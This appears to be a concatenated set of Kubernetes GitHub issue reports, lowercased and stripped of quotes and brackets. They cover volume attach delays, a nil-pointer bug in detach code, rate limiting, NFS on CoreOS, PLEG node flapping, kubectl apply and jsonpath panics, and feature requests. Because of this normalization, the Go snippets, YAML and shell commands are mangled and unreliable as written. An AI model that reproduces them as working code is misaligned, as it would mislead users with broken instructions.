kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:42\\\ } }}\  volumesattached:  {kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:34 } {kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:5 } {kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:42 } \r  kubelet.log                      may 30 16:32:56 node01 kubelet-wrapper 24033 : i0530 16:32:56.871483   24033 operation_generator.go:1121  controller attach succeeded for volume \ dev-app-test-xxxxx-redis-86590\   uniquename: \ kubernetes.io/iscsi/10.1.72.201:iqn.1992-08.com.netapp:sn.440d6a6ad6a311e79b3500a0981e9162:vs.13:42\   pod \ app-test-xxxxx-redis-695b4b774d-2979s\   uid: \ 8656d955-6426-11e8-90fc-005056bcaf95\   device path: \ \ \r    \r \r when testing, we observe a delay that randomly varies between 20s & >4min between steps  ii.  &  iv. .

what happened  :\r during investigation of  nil pointer dereference panic, i've found that  operationgenerator.generatedetachvolumefunc  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util/operationexecutor/operation_generator.go l389  has an issue:\r \r  operationgenerator.generatedetachvolumefunc  don't check 1st return value of  volumepluginmgr.findattachablepluginbyname   to  nil : \r \r    \r                 attachablevolumeplugin, err = og.volumepluginmgr.findattachablepluginbyname pluginname \r \t\tif err != nil {\r \t\t\treturn volumetypes.generatedoperations{}, volumetodetach.generateerrordetailed \ detachvolume.findattachablepluginbyspec failed\ , err \r \t\t}\r \t}\r \r \tif pluginname == \ \  {\r \t\tpluginname = attachablevolumeplugin.getpluginname  \r \t}\r \r \tvolumedetacher, err := attachablevolumeplugin.newdetacher  \r    \r but  volumepluginmgr.findattachablepluginbyname  https://github.com/kubernetes/kubernetes/blob/fad23990cea2f883c98684fc2f2b600a3c1bdbd8/pkg/volume/plugins.go l800  could return   nil, nil :\r \r    \r func  pm  volumepluginmgr  findattachablepluginbyname name string   attachablevolumeplugin, error  {\r \tvolumeplugin, err := pm.findpluginbyname name \r \tif err != nil {\r \t\treturn nil, err\r \t}\r \tif attachableplugin, ok := volumeplugin. attachablevolumeplugin ; ok {\r \t\treturn attachableplugin, nil\r \t}\r \treturn nil, nil\r }\r    \r \r so, if  volumepluginmgr.findattachablepluginbyname    finds plugin by name, but this plugin isn't a  attachablevolumeplugin , it will cause a nil pointer dereference panic in  volumedetacher, err := attachablevolumeplugin.newdetacher   \r \r   what you expected to happen  :\r  operationgenerator.generatedetachvolumefunc  should check  attachablevolumeplugin == nil \r \r   how to reproduce it  as minimally and precisely as possible   :\r unfortunately, i can't reproduce it\r \r   anything else we need to know?  :\r @liggitt advised to change  findattachablepluginbyname  signature to   plugin, bool, error  \r \r <!-- do not edit below this line -->\r 

the rate limiter in the apiserver is impacted by  8337 and also by the addition of exec/proxy/logs.  endpoints which hold long running connections need to be independently rate limited.  we probably need three buckets: 1. watch - required for intraserver components 2. exec/proxy/logs - used by clients and long running 3. everything else  https://github.com/googlecloudplatform/kubernetes/issues/8337 issuecomment-109781954

i was trying to setup the nfs example in my coreos based cluster and i found  nfs-busybox  and  nfs-web  pods would fail to start due to errors mounting volumes from  nfs-server .  after some debugging, i found the error message  exportfs: /exports does not support nfs export  in  docker logs nfs_server_container_id  and confirmed the nfs server didn't provide  /exports  as a share as it should be.  after reading  this post  https://bbs.archlinux.org/viewtopic.php?id=192585 , i understood the problem. coreos is using overlayfs for its docker containers and folders in overlayfs can't be exported as nfs shares.  so i edited  examples/nfs/nfs-server-rc.yaml  to mount a folder from host to  /exports :      yaml apiversion: v1 kind: replicationcontroller metadata:   name: nfs-server spec:   replicas: 1   selector:     role: nfs-server   template:     metadata:       labels:         role: nfs-server     spec:       containers:       - name: nfs-server         image: gcr.io/google_containers/volume-nfs         ports:           - name: nfs             containerport: 2049         securitycontext:           privileged: true         volumemounts:         - mountpath: /exports           name: storage       volumes:       - name: storage         hostpath:           path: /srv      then the problem went away and i could successfully finish the example.  i think it's not a bug in k8s nor coreos. the reason i reported the issue to the k8s repo is because there might be some other people failed to setup the nfs example in a coreos cluster following the guide in  examples/nfs/readme.md  and it would be nice to have a notice in the document to save them some time.  i would love to contribute a pr adding the notice if someone think it's necessary.  thanks for building this great software.

@benmcrae reported that while trying beta.0 he was hitting the aws elb rate limit exceeded error because of a security group tagging problem   error creating load balancer  will retry : failed to create load balancer for service default/my-nginx: error creating aws loadbalancer listeners: throttling: rate exceeded  .  however, he did not see  inserting delay before aws request  %s  to avoid requestlimitexceeded: %s  in the kube-controller-manager logs.  the error isn't unexpected because the fix in 5b3bb56a4f851ce88d52d702e09a550e29802554 did not make beta.0  it did make beta.1 .  but, we would have wanted to see some aws api throttling.  possible solutions:  1  we have a single pool for all api requests per region, which isn't right i don't think.  we should probably have one for ec2 us-west-2, one for elb us-west-2 etc. 2  we should probably log the current statistics whenever we hit a ratelimit error  perhaps at v=2 .  this way we can tweak our statistic based upon what we see in the real world.

we had a bug introduced by streaming serialization and we didn't catch it in tests.

currently several system components running in containers, like scheduler 1  or kube-proxy 2  are logging directly to the  /var/log  directory. because of that:\r \r   logging agent configuration is hairy, it should contain manually added records for all components 3 . introducing new system component require further manual intervention\r   logs from system components are under  gce_instance  resource in stackdriver logging, since they're indistinguishable for sd agent from instance logs\r   logging in such fashion is hardly manageable, since it's not coupled with a pod\r \r however, it's not possible to switch to using default container logging mechanisms, due to the following reasons:\r \r   some system components, like kube-proxy, are exporting multi-line log entries. currently docker wraps every line from the container stdout in the separate logging entry, so it has to be put back together in one piece by some entity. at the moment there's only one entity: logging agent. however, it's not clear how to configure a logging agent to ingest e.g. glog multi-line log entries without breaking any other logging formats.\r   test infrastructure collects system components' logs to expose them as artifacts by downloading directly from the node by known name. this behavior should be altered to use  kubectl logs \r \r  1  https://github.com/kubernetes/kubernetes/blob/release-1.5/cluster/saltbase/salt/kube-scheduler/kube-scheduler.manifest l50\r  2  https://github.com/kubernetes/kubernetes/blob/release-1.5/cluster/saltbase/salt/kube-proxy/kube-proxy.manifest l63\r  3  https://github.com/kubernetes/kubernetes/blob/release-1.5/cluster/addons/fluentd-gcp/fluentd-gcp-image/google-fluentd.conf\r \r cc @kubernetes/sig-instrumentation-misc @repeatedly @tagomoris

kubernetes version    use  kubectl version  : 1.5.2 \r \r   what happened  :\r \r 100% reproducible on the cluster.\r \r    console\r $ kubectl delete deployment foo\r error: timed out waiting for \ foo-123456789\  to be synced\r \r $ kubectl get rs foo-123456789                \r name            desired   current   ready     age\r foo-123456789   0         1         1         21h\r \r $ kubectl get deploy foo\r name      desired   current   up-to-date   available   age\r foo       0         1         1            0           21h\r \r $ kubectl get pods \r no resources found.\r    \r \r   my theory about the cause:  \r \r 1. when  kubectl delete  a deployment, kubectl scales down its replicaset.\r 2.  root cause  there's some bug in the replicaset controller, and replicaset controller failed to update status.availablereplicas after scaling down replicas \r 3. deployment controller calculates status based on replicaset status and replicaset spec.replicas\r 4. because of 2+3, deployment has an erroneous status.unavailablereplicas=-1, and kept failing  because replicaset controller never update the status to the correct state , see lots of the following log in controller manager log:\r    \r e0218 19:54:58.087450       9 deployment_controller.go:303  deployment.extensions \ foo\  is invalid: status.unavailablereplicas: invalid value: -1: must be greater than or equal to 0\r i0218 19:54:58.087479       9 deployment_controller.go:304  dropping deployment \ default/foo\  out of the queue: deployment.extensions \ foo\  is invalid: status.unavailablereplicas: invalid value: -1: must be greater than or equal to 0\r    \r 5.  kubectl delete deployment  thought that scaling down replicaset never succeeds  because of replicaset status , and timed out.\r \r   logs:  \r \r 1. there's no pod from deployment \ foo\  in the system now. \r \r 2. replicaset \ foo-123456789\ :\r    \r ...\r   generation: 2\r spec:\r   replicas: 0\r status:\r   availablereplicas: 1\r   fullylabeledreplicas: 1\r   observedgeneration: 2\r   readyreplicas: 1\r   replicas: 1\r    \r \r 3. deployment \ foo\ :\r    \r ...\r   generation: 2\r spec:\r   paused: true\r   replicas: 0\r status:\r   conditions:\r   - lasttransitiontime: 2017-02-17t23:01:28z\r     lastupdatetime: 2017-02-17t23:01:28z\r     message: deployment has minimum availability.\r     reason: minimumreplicasavailable\r     status: \ true\ \r     type: available\r   observedgeneration: 2\r   replicas: 1\r   unavailablereplicas: 1\r   updatedreplicas: 1\r    \r \r @kargakis @kubernetes/sig-apps-bugs

one benefit of using workqueue to build controller is that it allows multiple workers to safely process changes in parallel, e.g., the  workers  https://github.com/kubernetes/kubernetes/blob/v1.7.0-beta.1/pkg/controller/replicaset/replica_set.go l163-l165  in the replicaset controller. the client-go workqueue  example  https://github.com/kubernetes/kubernetes/tree/master/staging/src/k8s.io/client-go/examples/workqueue  should demonstrate this use case.\r \r cc @ahmetb @rmohr @wallrj

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r \r   what happened  :\r i have a k8s cluster with 104 nodes, after running a load test about 8000 pods, then i delete all test pods, some of the nodes keep flapping between  ready  and  notready  states with kubelet shows some pleg issues, and keep flapping forever:\r    \r sep 02 22:01:59 docker34-86 kubelet 9010 : e0902 22:01:59.251846    9010 kuberuntime_gc.go:138  failed to stop sandbox \ 4347e890f134de1e2489c8b0b2ae720afc81c90b05ab3475e07040fd24c25528\  before removing: rpc error: code = 4 desc = context deadline exceeded\r sep 02 22:01:59 docker34-86 kubelet 9010 : i0902 22:01:59.607732    9010 kubelet.go:1752  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m5.320829963s ago; threshold is 3m0s \r sep 02 22:02:03 docker34-86 kubelet 9010 : i0902 22:02:03.184037    9010 kubelet_node_status.go:682  node became not ready: {type:ready status:false lastheartbeattime:2017-09-02 22:02:03.183998186 +0800 cst lasttransitiontime:2017-09-02 22:02:03.183998186 +0800 cst reason:kubeletnotready message:pleg is not healthy: pleg was last seen active 3m8.897133691s ago; threshold is 3m0s}\r sep 02 22:02:04 docker34-86 kubelet 9010 : i0902 22:02:04.607914    9010 kubelet.go:1752  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m10.321005268s ago; threshold is 3m0s \r sep 02 22:02:09 docker34-86 kubelet 9010 : i0902 22:02:09.608184    9010 kubelet.go:1752  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m15.32128174s ago; threshold is 3m0s \r sep 02 22:02:14 docker34-86 kubelet 9010 : i0902 22:02:14.608407    9010 kubelet.go:1752  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m20.321515249s ago; threshold is 3m0s \r sep 02 22:02:19 docker34-86 kubelet 9010 : i0902 22:02:19.608626    9010 kubelet.go:1752  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m25.321729393s ago; threshold is 3m0s \r sep 02 22:02:24 docker34-86 kubelet 9010 : i0902 22:02:24.608812    9010 kubelet.go:1752  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m30.321915946s ago; threshold is 3m0s \r sep 02 22:02:29 docker34-86 kubelet 9010 : i0902 22:02:29.609053    9010 kubelet.go:1752  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m35.322144097s ago; threshold is 3m0s \r sep 02 22:02:34 docker34-86 kubelet 9010 : i0902 22:02:34.609242    9010 kubelet.go:1752  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m40.32235122s ago; threshold is 3m0s \r sep 02 22:02:39 docker34-86 kubelet 9010 : i0902 22:02:39.609502    9010 kubelet.go:1752  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m45.322584751s ago; threshold is 3m0s \r sep 02 22:02:44 docker34-86 kubelet 9010 : i0902 22:02:44.609720    9010 kubelet.go:1752  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m50.322827454s ago; threshold is 3m0s \r sep 02 22:02:49 docker34-86 kubelet 9010 : i0902 22:02:49.609910    9010 kubelet.go:1752  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m55.323011647s ago; threshold is 3m0s \r sep 02 22:02:54 docker34-86 kubelet 9010 : e0902 22:02:54.291709    9010 kuberuntime_manager.go:844  podsandboxstatus of sandbox \ e5c5aa912b5ec47f916e32ed5f00b51e75efb304c6ede82389650d2332bda120\  for pod \ ldtest-4gd3gae2cb-2015988398-gtm8h_ldtest-all eb291bc5-8d97-11e7-a4d3-3497f600625d \  error: rpc error: code = 4 desc = context deadline exceeded\r sep 02 22:02:54 docker34-86 kubelet 9010 : e0902 22:02:54.291750    9010 generic.go:269  pleg: pod ldtest-4gd3gae2cb-2015988398-gtm8h/ldtest-all failed reinspection: rpc error: code = 4 desc = context deadline exceeded\r    \r   what you expected to happen  :\r no notready nodes\r   how to reproduce it  as minimally and precisely as possible   :\r after a node running about 80-90 pods\r \r   anything else we need to know?  :\r i use a customized cni plugin. after i investigated these problem nodes, i found there are several pause containers in  exited  states only pause contaniers , when i delete all exited containers or restart kubelet, the node will never flapping and keeps ready again. i can not understand this phenomenon. is the delete container action trigger some gc code? i read the issue  45419 but can't find a solution.\r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.4\r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release : red hat enterprise linux server 7.2  maipo \r - kernel  e.g.  uname -a  :3.10.0-327.el7.x86_64  1 smp thu oct 29 17:29:29 edt 2015 x86_64 x86_64 x86_64 gnu/linux\r - install tools: k8s ha cluster with 3 master and vip\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i ran  cluster/update-storage-objects.sh , then i tried to apply a service object by  kubectl apply . however it failed along with the following message:\r    \r $ kubectl apply -f svc.yaml\r the service \ nginx\  is invalid:\r   metadata.resourceversion: invalid value: \ \ : must be specified for an update\r   spec.clusterip: invalid value: \ \ : field is immutable\r    \r \r the cause of this problem is since  kubectl.kubernetes.io/last-applied-configuration  annotation is updated by  kubectl replace  in  cluster/update-storage-objects.sh .\r \r   what you expected to happen  : it succeeds to apply service objects and more by  kubectl apply  after running  cluster-update-storage-objects.sh .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ minikube start --kubernetes-version v1.9.0\r $ git clone -b release-1.9 --depth 1 https://github.com/kubernetes/kubernetes.git $gopath/src/k8s.io/kubernetes && cd $gopath/src/k8s.io/kubernetes/\r $ git log --pretty=\ %h\ \r 326c7c181909a806f05227724ca604c3d2b672e9\r   this is a workaround for  59403,  60741\r $ curl --silent -l https://gist.githubusercontent.com/superbrothers/97c54019171231ab6d99c6f610f85e05/raw/a1362609f1193096587f81446dc0edc0cea49b04/gistfile1.txt | patch -p1\r patching file cluster/update-storage-objects.sh\r $ git diff\r diff --git a/cluster/update-storage-objects.sh b/cluster/update-storage-objects.sh\r index 364c1d7e..a451a2d0 100755\r --- a/cluster/update-storage-objects.sh\r +++ b/cluster/update-storage-objects.sh\r @@ -34,7 +34,6 @@ kubectl=\ ${kube_output_hostbin}/kubectl\ \r    todo: get this list of resources from server once\r    http://issue.k8s.io/2057 is fixed.\r  declare -a resources= \r -    \ endpoints\ \r      \ events\ \r      \ limitranges\ \r      \ namespaces\ \r @@ -50,9 +49,7 @@ declare -a resources= \r      \ horizontalpodautoscalers\ \r      \ storageclasses\ \r      \ roles.rbac.authorization.k8s.io\ \r -    \ rolebindings.rbac.authorization.k8s.io\ \r      \ clusterroles.rbac.authorization.k8s.io\ \r -    \ clusterrolebindings.rbac.authorization.k8s.io\ \r      \ networkpolicies.networking.k8s.io\ \r   \r \r $ make kubectl\r $ _output/bin/kubectl version\r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ 326c7c181909a806f05227724ca604c3d2b672e9\ , gittreestate:\ dirty\ , builddate:\ 2018-03-09t08:30:25z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2018-01-26t19:04:38z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r $ cat <<eol > svc.yaml\r apiversion: v1\r kind: service\r metadata:\r   name: nginx\r spec:\r   ports:\r   - port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     run: nginx\r eol\r $ kubectl apply -f svc.yaml\r $ kubectl get svc nginx -o 'jsonpath={.metadata.annotations.kubectl\\.kubernetes\\.io/last-applied-configuration}'\r {\ apiversion\ :\ v1\ ,\ kind\ :\ service\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ nginx\ ,\ namespace\ :\ default\ },\ spec\ :{\ ports\ : {\ port\ :80,\ protocol\ :\ tcp\ ,\ targetport\ :80} ,\ selector\ :{\ run\ :\ nginx\ }}}\r $ cluster/update-storage-objects.sh\r all objects updated successfully!!\r   last-applied-configuration was updated by  kubectl replace  in  cluster/update-storage-objects.sh \r $ kubectl get svc nginx -o 'jsonpath={.metadata.annotations.kubectl\\.kubernetes\\.io/last-applied-configuration}'\r {\ apiversion\ :\ v1\ ,\ kind\ :\ service\ ,\ metadata\ :{\ annotations\ :{},\ creationtimestamp\ :\ 2018-03-09t08:33:28z\ ,\ name\ :\ nginx\ ,\ namespace\ :\ default\ ,\ resourceversion\ :\ 1100\ ,\ selflink\ :\ /api/v1/namespaces/default/services/nginx\ ,\ uid\ :\ 8ad8402b-2374-11e8-abfd-080027cf7ad3\ },\ spec\ :{\ clusterip\ :\ 10.108.65.152\ ,\ ports\ : {\ port\ :80,\ protocol\ :\ tcp\ ,\ targetport\ :80} ,\ selector\ :{\ run\ :\ nginx\ },\ sessionaffinity\ :\ none\ ,\ type\ :\ clusterip\ },\ status\ :{\ loadbalancer\ :{}}}\r $ kubectl apply -f svc.yaml\r the service \ nginx\  is invalid:\r   metadata.resourceversion: invalid value: \ \ : must be specified for an update\r   spec.clusterip: invalid value: \ \ : field is immutable\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r     - client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ 326c7c181909a806f05227724ca604c3d2b672e9\ , gittreestate:\ dirty\ , builddate:\ 2018-03-09t08:30:25z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r     - server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2018-01-26t19:04:38z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : os x 10.11.6  15g19009 \r - kernel  e.g.  uname -a  : darwin z-mac-a-001.local 15.6.0 darwin kernel version 15.6.0: tue jan  9 20:12:05 pst 2018; root:xnu-3248.73.5~1/release_x86_64 x86_64 i386 imac17,1 darwin\r - install tools: minikube\r - others:

  \r   what happened  :\r when using a csi driver that does not support node_stage, i can see orphan json files in  /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-938861e4756911e8/vol_data.json  that are never cleaned up.\r \r   what you expected to happen  :\r no orphan file\r \r /assign

\r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r \r when giving  jsonpath  to  kubectl get ...  and if you provide  -1  as index value to the list,  kubectl  panics. while index value of  -2  works fine.\r \r   what you expected to happen  :\r \r when an index of  -1  is given in jsonpath it should refer to the last item in the list.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i have started three pods to reproduce this:\r \r    bash\r $ kubectl run web --image nginx --replicas 3                                   \r deployment.apps/web created\r    \r \r here are they:\r \r    bash\r $ kubectl get pods\r name                  ready     status    restarts   age\r web-dcc695978-2gc97   1/1       running   0          5m\r web-dcc695978-dflt9   1/1       running   0          5m\r web-dcc695978-l442p   1/1       running   0          5m\r    \r \r now try to list the first pod  web-dcc695978-2gc97  using negative index values:\r \r    bash\r $ kubectl get pods -o jsonpath='{.items -3 .metadata.name}'\r web-dcc695978-2gc97\r    \r \r similarly listing second pod  web-dcc695978-dflt9  using negative index value:\r \r    bash\r $ kubectl get pods -o jsonpath='{.items -2 .metadata.name}'\r web-dcc695978-dflt9\r    \r \r now when you try to list the last one using  -1  then you can see panic:\r \r    bash\r $ kubectl get pods -o jsonpath='{.items -1 .metadata.name}'\r panic: reflect.value.slice: slice index out of bounds\r \r goroutine 1  running :\r reflect.value.slice 0x1465b60, 0xc420876420, 0x97, 0x2, 0x0, 0x97, 0x241d900, 0x0 \r         /usr/local/go/src/reflect/value.go:1597 +0x28d\r k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath.  jsonpath .evalarray 0xc4203e1500, 0xc420876460, 0x1, 0x1, 0xc420434a00, 0xc420876460, 0x1, 0x1, 0x0, 0x0 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath/jsonpath.go:273 +0x43e\r k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath.  jsonpath .walk 0xc4203e1500, 0xc420876460, 0x1, 0x1, 0x189e9e0, 0xc420434a00, 0xc420876460, 0x1, 0x1, 0x0, ... \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath/jsonpath.go:148 +0x79f\r k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath.  jsonpath .evallist 0xc4203e1500, 0xc420876440, 0x1, 0x1, 0xc420a4bfc0, 0x40fc89, 0xc420876420, 0x20, 0x18, 0xc4208cd3f0 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath/jsonpath.go:202 +0xbb\r k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath.  jsonpath .walk 0xc4203e1500, 0xc420876440, 0x1, 0x1, 0x189eba0, 0xc420a4bfc0, 0xc42088c768, 0xc2ca7d6c588e87d, 0x40dcf9, 0x20, ... \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath/jsonpath.go:142 +0x8ae\r k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath.  jsonpath .findresults 0xc4203e1500, 0x1541ee0, 0xc4209ff4d0, 0xc42088c6c0, 0xc42088c6c0, 0x0, 0x0, 0x0 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath/jsonpath.go:89 +0x1d4\r k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath.  jsonpath .execute 0xc4203e1500, 0x18940a0, 0xc42000c018, 0x1541ee0, 0xc4209ff4d0, 0x1, 0x0 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath/jsonpath.go:67 +0x49\r k8s.io/kubernetes/pkg/kubectl/genericclioptions/printers.  jsonpathprinter .printobj 0xc420800060, 0x189db60, 0xc420801600, 0x18940a0, 0xc42000c018, 0xc4203cc380, 0x10 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/genericclioptions/printers/jsonpath.go:151 +0x2c4\r k8s.io/kubernetes/pkg/printers. resourceprinter .printobj-fm 0x189db60, 0xc420801600, 0x18940a0, 0xc42000c018, 0xc420801620, 0xc42088c6c0 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:252 +0x57\r k8s.io/kubernetes/pkg/printers.resourceprinterfunc.printobj 0xc420800080, 0x189db60, 0xc420801600, 0x18940a0, 0xc42000c018, 0xc420801620, 0x2 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/printers/interface.go:38 +0x4e\r k8s.io/kubernetes/pkg/kubectl/cmd/get.  getoptions .printgeneric 0xc4202f6380, 0xc420990900, 0x1, 0x1 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:719 +0x7b1\r k8s.io/kubernetes/pkg/kubectl/cmd/get.  getoptions .run 0xc4202f6380, 0x18c7680, 0xc420597650, 0xc4205e2280, 0xc4201e85a0, 0x1, 0x3, 0x0, 0x0 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:343 +0x13cd\r k8s.io/kubernetes/pkg/kubectl/cmd/get.newcmdget.func1 0xc4205e2280, 0xc4201e85a0, 0x1, 0x3 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:159 +0x115\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4205e2280, 0xc4201e8510, 0x3, 0x3, 0xc4205e2280, 0xc4201e8510 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2c1\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc42018bb80, 0xc420247680, 0x12a05f200, 0xc4208f1ee8 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x30a\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc42018bb80, 0x17eb070, 0x23ff060 \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794 +0x2b\r main.main  \r         /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:50 +0x196\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    yaml\r $ kubectl version -o yaml\r clientversion:\r   builddate: 2018-08-07t23:17:28z\r   compiler: gc\r   gitcommit: bb9ffb1654d4a729bb4cec18ff088eacc153c239\r   gittreestate: clean\r   gitversion: v1.11.2\r   goversion: go1.10.3\r   major: \ 1\ \r   minor: \ 11\ \r   platform: linux/amd64\r serverversion:\r   builddate: 2018-08-07t23:08:19z\r   compiler: gc\r   gitcommit: bb9ffb1654d4a729bb4cec18ff088eacc153c239\r   gittreestate: clean\r   gitversion: v1.11.2\r   goversion: go1.10.3\r   major: \ 1\ \r   minor: \ 11\ \r   platform: linux/amd64\r    \r

we should support annotations to configure some of the more obscure settings on elbs.  for example, apparently akamai wants idle timeouts of >300s, and the default is 60s.  we might want to set the default timeout to 300s if that's generally a good thing, but then have an annotation to allow these settings to be tweaked.  if these annotations are generally applicable we should consider making them not-aws specific, but some of them will be specific to elb.

in  23461 i described how difficult it is to write automation around kubectl.  you want to check for errors at each stage, but you don't want the script to be so brittle that it only works if the apiserver is up and reachable 100% of the time.  asking users  including ourselves  to add the retry logic in the shell does not seem correct, so i'd like to see us add retry logic  off by default if we want  to kubectl.  @kubernetes/kubectl

hey!  i've been working on integrating kubernetes and infinispan  java based data grid, distributed cache,  in-memory key/value store  and i noticed that  kubernetes horizontal pod autoscaling feature  http://kubernetes.io/docs/user-guide/horizontal-pod-autoscaling  operates only on cpu metrics.   i would like to propose extending the autoscaler's functionality and adding memory based thresholds  i understand that a similar effect might be achieved by using custom metrics but it requires a lot more configuration . the autoscaler could possibly be configured to use a combination of two - cpu and memory metrics  but this needs a longer thought how to avoid flipping the number of replicas, probably the easiest way is to set priorities to the metrics .  n.b. since there are usually 3 types of applications - cpu, memory and i/o intensive, we could add 3rd metric to the autoscaler - i/o. however i'm not sure how this fits into persistent volumes concept in kubernetes.  what do you think about this idea?  thanks sebastian

